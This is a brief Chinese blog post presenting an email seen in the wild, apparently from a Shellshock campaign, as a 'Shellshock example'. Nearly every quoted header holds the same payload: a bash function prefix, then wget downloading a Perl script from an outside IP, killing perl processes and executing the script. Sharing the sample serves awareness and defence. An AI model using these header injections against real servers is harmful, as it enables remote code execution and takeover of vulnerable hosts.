恶意脚本植入邮件案例-优快云博客

本文链接：https://blog.youkuaiyun.com/iteye_16188/article/details/82611435

来自：[url]http://pastebin.com/Qbgn09Wa[/url]
邮件：
[quote]
===
To:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

References:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Cc:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

From:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Subject:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Date:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Message-ID:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Comments:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Keywords:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-Date:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-From:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-Sender:() { :; };wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend

wget -O /tmp/.legend http://190.94.251.41/legend.txt;killall -9 perl;perl /tmp/.legend
[/quote]

Shellshock示例